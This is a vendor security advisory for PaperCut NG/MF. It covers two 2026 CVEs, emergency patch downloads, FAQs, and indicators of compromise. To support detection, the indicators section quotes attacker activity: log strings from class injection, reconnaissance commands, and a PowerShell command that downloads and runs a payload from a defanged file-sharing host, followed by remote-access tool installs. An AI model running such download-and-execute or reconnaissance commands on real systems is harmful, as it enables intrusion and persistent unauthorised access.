URGENT Security Advisory: PaperCut NG/MF Security Bulletin (27 Aug 2026)

THE PAGE APPLIES TO:

Last updated September 1, 2026

URGENT Security Advisory

PaperCut Software security response team is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF.

We are aware of confirmed customer incidents and are treating this matter with the highest priority. Our investigation is ongoing. We will update this security bulletin as verified information becomes available, including indicators of compromise and remediation guidance.

Immediate action required

If your PaperCut NG/MF Application Server is accessible from the public internet, immediately restrict web access to trusted IP addresses only (e.g. internal IP addresses).

Use firewall rules, network access controls, or equivalent measures to ensure the PaperCut server’s web interfaces cannot be reached from untrusted internet addresses. Take this action now, even if you have not observed suspicious activity.

Emergency Patch Release 3

This is an emergency patch for customers with public-facing PaperCut NG/MF servers who are unable to take other mitigating action.

[Update: 1 September 2026 6:22pm (AEST)]

Emergency Patch (Release 3) has been released by our emergency response team and supersedes Release 2. You do not need to install previous patches, this patch is an accumulation of all emergency releases. This release addresses two known regressions and adds additional hardening and mitigation against potential attack chains. Regressions include:

Addresses broken SAML login flows
Restored support for using legacy Microsoft SQL Server drivers for external card lookup

We recommend all customers with internet-facing Application Servers install Release 3 as soon as possible, even if they have already applied an earlier emergency release.

Download and follow the standard upgrade procedure.

[Update: 28 August 2026 8:42pm (AEST)]

Following further work with our internal security team and external researchers, including Huntress and watchTowr, we have released an updated Emergency Patch (Release 2) that includes additional hardening beyond the original emergency patch. We recommend all customers install Release 2, even if you have already applied the original emergency patch.

PaperCut MF

MF Version	Download links	Checksums (SHA256)
v26	Windows (exe)[Build 76531]	9375a9c3cf84140a1d8e21b72d3d2c57d85d4de09ea9ae1dc021b64732427da7
	Linux (sh)[Build 76531]	02526fea432069eb90279c4e300ea44bf46eaf432a95b05e8a59b55a0c5c001b
	macOS (dmg)[Build 76531]	bcbe7b2c2d6463b146ec870c9e584e4e404d15756ce822c9277539848d870259
v25	Windows (exe)[Build 76532]	ba81e871ca20d688dd26fc950abaa49fb5ccb71a6dce3be97736256f644c0633
	Linux (sh)[Build 76532]	03ce77aaed2c8dd8e28b76eb314ee3f5c18b4f13968e5edcb7be469a8faf1c59
	macOS (dmg)[Build 76532]	2b6abda60be63d42053f3625c52b65ab45ed29b1226de7944b8724520d579ecf
v24	Windows (exe)[Build 76534]	0c915094bbf9f6e768e0d12dc9a8005a52594cc0760262010c1cc03861b472aa
	Linux (sh)[Build 76534]	61512014718d1fc2d655c298b7a78bb3ec2ee411470cb57c7df6dfbbebc782cc
	macOS (dmg)[Build 76534]	6f320956b05b7b29fa2943f6a1af488a48c8a69b42a09d1f0e6d2f6b8183fe23

PaperCut NG

NG Version	Download links	Checksums (SHA256)
v26	Windows (exe)[Build 76530]	51585ee73b70362da3739b8ec77f79336a5c5db9bddcde3fd49ccfe953b529a1
	Linux (sh)[Build 76530]	939962a7e660e7bd90dd50e28bce2a337562140813f885c42cf792a2877d05e6
	macOS (dmg)[Build 76530]	2996de9a85cc5f071df126539d8af8c12b72a46146021a06e15e53aceb5f83c1
v25	Windows (exe)[Build 76533]	083e52d55a27724f3f8829537937f80b3977568c27d933cb8f89b61ddc1be9d4
	Linux (sh)[Build 76533]	68858979b4db69e7c4dc41f2d50ea2642a087855601bdb7f33d8a294c259fbdb
	macOS (dmg)[Build 76533]	9f12cc0b4cf009f01c1daba3d227e5a122c163e919517d25b01d4cada235d630
v24	Windows (exe)[Build 76535]	ebfea162e52b9f2768b15077647b78d3808473932c4c951f6e82ff9040ca8ced
	Linux (sh)[Build 76535]	cc010e42b0e94fe67a973a9b8303848f1ee9028b06d78ae9256daf43611b225e
	macOS (dmg)[Build 76535]	b655928dda17d138aea14f8a150eb0ff509d7676b33b1b569a9f853319ffd7cc

Post Install Check:

Are you using an external database for Card/ID number lookups? Review the FAQ below.
Using site-servers? Review the FAQ below.

Security issues addressed

Our security team has now made public the following two CVE’s.

CVE

Notes

CVSS rating and vector

CVE-2026-82078

Unsafe Dynamic Class Loading in Database Connector

An unsafe dynamic class loading vulnerability exists in the database connection utilities of PaperCut MF and PaperCut NG. The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers.

Vulnerability Type: CWE-470 Use of Externally-Controlled input to select classes or code ('unsafe reflection').

Impact: If an attacker can manipulate system configuration parameters, this enables the execution of arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process.

Mitigated in: PaperCut NG/MF Emergency Patch (see above Release 3).

9.4 (CRITICAL)

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE-2026-81578

Authentication Bypass

An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger backend actions prior to the completion of access validation checks.

Vulnerability Type: CWE-306 Missing authentication for critical function.

Impact: This allows an unauthenticated remote attacker to modify certain system configurations.

Mitigated in: PaperCut NG/MF Emergency Patch (see above Release 3).

8.8 (HIGH)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Who is potentially impacted

This advisory applies to all versions of:

PaperCut NG
PaperCut MF

Indicators of compromise and investigation guidance

The following may be indicators of compromise:

Alerts from intrusion-detection, endpoint-security, or network-monitoring tools involving the PaperCut Application Server, particularly suspicious post-exploitation activity from pc-app.exe.
Missing, unexpectedly truncated, or deleted PaperCut server.log files.
Any of the following entries in server.log:
ERROR No suitable driver found for jdbc:no:x

ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST

Additional indicators of compromise [updated 30 August 2026, 3:35pm (AEST)]:

We are aware of the following additional indicators of compromise.

Strings in server.log:

DB URL: jdbc:derby:memory:pwn;create=true
Database error looking up cardID: VALUES CAST(X'cafebabe
Database error looking up cardID: VALUES CAST('
DB URL: jdbc:no:x DB Driver: <5-char random name>

Files written to disk:

<install>\server\lib\<5-char-name>.class
<install>\server\data\content\<5-char-name>.cmd
<install>\server\data\content\<5-char-name>.out

Note that these files may be cleaned up by the attacker as activity progresses, so their absence does not rule out compromise.

As every customer environment is unique, it is difficult to identify a single consistent pattern of post-compromise activity, but observed behaviour includes the pc-app.exe (or pc-app) process launching child shell processes (cmd.exe) and running whoami & ver, with endpoint protection in some cases preventing further execution and isolating the machine.

Where execution was not prevented, the following command sequence was observed, shown as elapsed time from the first command (starting at 00:00:00) rather than wall-clock time (URLs below are defanged with hxxp and [.] to prevent accidental execution; replace with http/. before using in detection tooling or blocklists):

00:00:00  whoami & ver
00:01:19  tasklist
00:04:42  nltest /dclist:
00:06:09  quser & dir c:\users
00:16:07  powershell Invoke-WebRequest -Uri hxxps://sendit[.]sh/Gg7Rp/ace[.]exe -OutFile C:\ProgramData\ace.exe
00:18:07  dir c:\programdata /a
00:19:27  c:\programdata\ace.exe /S
00:21:29  Windows Service "Remote Access Service" installed (SimpleHelp agent, C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\restricted\SimpleService.exe, running as LocalSystem, set to auto-start)
00:21:41  tasklist
00:27:37  powershell Invoke-WebRequest -Uri hxxps://download[.]anydesk[.]com/AnyDesk.exe -OutFile C:\ProgramData\AnyDesk.exe

We recommend checking for the presence of a Windows service named “Remote Access Service” running SimpleService.exe from the path above, and for unexpected AnyDesk installations, as potential indicators of post-compromise remote access tooling.

Important: The absence of the above indicators is not confirmation that a system has not been affected. PaperCut will publish validated, specific indicators and further guidance here as soon as they are available.

Current Status

Update

Details

Work in progress

This advisory is currently in an active state.

Background:

The PaperCut’s security emergency response team is using information provided by a number of customer’s security team, digital forensics and incident response teams to monitor and address any potential vulnerabilities.

Emergency Patches have been issues and a QA'd Maintenance Release is in progress.

Emergency Patch Release 3 published

Emergency Patch 3 has been released for v24, v25, and v26 by our emergency response team. This release addresses two known regressions (SAML and legacy Microsoft SQL Server support) and adds additional hardening and mitigation against potential attack chains.

PaperCut would like to thank the watchTowr crew, and a number of independent security resources for their ongoing security analysis.

See download links above and follow the upgrade process.

FAQs

Q Is this an official release?

No. We have not gone through our usual release process. This is an emergency patch for customers with public-facing PaperCut servers who are unable to take other mitigating action. More information will be published as it becomes available.

Q Do I need to update other components (e.g. Site Servers, Secondary servers, User Client)?

Site Servers and secondary/print servers should be updated to a patched version, not just the primary Application Server.

Mobility Print and Print Deploy server components are not affected and do not need to be updated.

Our client software (including the User Client, Print Deploy client, and Mobility Print installer) is not affected and does not require an update.

Q What should I do if I suspect my server has been compromised?

If you suspect your server has been compromised, we recommend securing current server backups, completely wiping and rebuilding the Application Server, and restoring a clean backup taken before any suspicious behavior was detected. Additionally, you should activate your organization's security response procedures and follow standard incident protocols.

Our insight into individual environments is limited, so we cannot confirm or assess the full scope of impact from a compromised server.

Q Will there be a release for NG/MF 23 and earlier?

The recommended path for all customers prior to PaperCut NG/MF v24 is to upgrade to the latest version.

Q My install uses an external database for card number lookups, what changes are required?

This is a rarely used feature and most customers will not need to take any action, for those that do, follow these steps:

Add security.card-number-lookup.enabled=Y to server/security.properties and restart the Application Server.

The default setting for this feature is off (N) which disables the feature. Without this key set, PaperCut NG/MF will silently ignore any external user lookup calls even though the Admin UI may still show the feature as configured.

Q How do I apply the Emergency Patch?

Download and follow the standard upgrade procedure.

Q I applied the patch and added security.card-number-lookup.enabled=Y to server/security.properties, but card lookups are still failing

If you use SQL Server for external card lookups and the legacy Sourceforge jTDS driver, we recommend updating to the latest supported Microsoft SQL JDBC driver (see the manual).

This is best practice but may not resolve every case. If lookups are still failing, contact your reseller or PaperCut Support.

Q Do I need to restrict access to my Mobility Print ports?

No. Mobility Print runs on a separate, unaffected architecture and is not impacted, so you can leave Mobility Print ports open.

Q Does the vulnerability affect PaperCut Hive/Pocket?

No, this security bulletin and the outlined vulnerability does not apply to PaperCut Hive or PaperCut Pocket.

Q What does Release 3 change compared to Release 2?

This release addresses two known regressions and adds additional hardening and mitigation against potential attack chains. Regressions include:

Addresses broken SAML login flows
Restored support for using legacy Microsoft SQL Server drivers for external card lookupEmergency Patch Release 3 adds further hardening that closes off additional attack vectors we have observed being exploited in the wild. It does not change the guidance on Card/ID number lookups or other configuration steps from Emergency Patch Release 2.

Q I already applied Release 2, do I need to apply Release 3?

Yes, you should install Release 3 following the standard upgrade process.

You do not need to install previous patches, this patch is an accumulation of all emergency releases.

Q Who is contributing to PaperCut's response?

The security community's response to this incident has been a genuinely collaborative effort. PaperCut would like to thank Huntress, watchTowr, and a number of independent security advisors, as well as customers' Digital Forensics and Incident Response teams, who have all worked alongside us to share information.

Q Can you tell me more about what’s going on?

The advisory is kept very factual and it's aim is to provides customers with the information they need. Our CEO and Co-founder has written a blog post to open the window on what’s happening.

Security notifications

To stay informed about high impact security updates please subscribe to our Security notifications sign-up form.

Updates

Date	Update/action
27 August 2026 (AEST)	Published the initial Security Bulletin.
27 August 2026, 8:00pm (AEST)	Minor wording updates.
27 August 2026, 9:02pm (AEST)	Investigation update posted.
28 August 2026, 02:10am (AEST)	Published emergency patch. Patch released for PaperCut NG/MF v25 and v26.
28 August 2026, 10:43am (AEST)	Additional information added for customers using Card/ID number lookups from an external database.
28 August 2026, 08:42pm (AEST)	Published Emergency Patch Release 2 which includes additional hardening developed with internal security and external researchers. Added guidance on required `security.properties` change for Card/ID number lookup customers. PaperCut would like to thank Huntress and watchTowr for their ongoing security analysis, helping to harden Release 2.
28 August 2026, 10:08pm (AEST)	Published Emergency Patch Release 2 for PaperCut NG/MF v24.
29 August 2026, 10:53am (AEST)	Additional FAQ added.
29 August 2026, 04:35pm (AEST)	Added note about external database Card/ID number lookup feature and SAML investigation.
29 August 2026, 08:48pm (AEST)	Additional FAQ added.
30 August 2026, 10:34am (AEST)	Added Current Status update on ongoing development and support availability. Added FAQ with additional advice for customers using external database Card/ID number lookup feature.
30 August 2026, 03:35pm (AEST)	Added additional indicators of compromise.
31 August 2026, 4:21pm (AEST)	Status update posted. No new information to report.
1 September 2026, 11:18am (AEST)	Additional FAQ added and component FAQ updated with clarification.
1 September 2026, 02:10pm (AEST)	Added build numbers to download links.
1 September 2026, 6:22pm (AEST)	Published Emergency Patch Release 3. This release addresses two known regressions (SAML and legacy Microsoft SQL Server support) and adds additional hardening and mitigation against potential attack chains.
1 September 2026, 11:00 (AEST)	Fixed an incorrect link in the FAQs.

Category: Security Bulletins

Subcategory: Security and Privacy

Comments

Comments are not available in this preview environment. On papercut.com, this space shows the live Disqus comment thread for this page.